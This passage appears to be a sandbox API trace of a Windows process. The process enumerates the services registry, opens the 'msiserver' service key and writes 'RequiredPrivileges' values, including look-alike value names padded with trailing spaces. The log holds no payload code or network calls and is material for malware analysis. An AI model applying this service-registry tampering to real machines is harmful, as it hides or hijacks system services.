dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0255.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0255.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0255.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0255.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0255.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0255.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0255.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0255.235] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0255.235] RegCloseKey (hKey=0x148) returned 0x0 [0255.235] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.235] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.235] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.236] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.236] RegCloseKey (hKey=0x14c) returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.236] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.237] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.237] RegCloseKey (hKey=0x148) returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.237] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.238] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.239] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.239] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.240] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.240] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 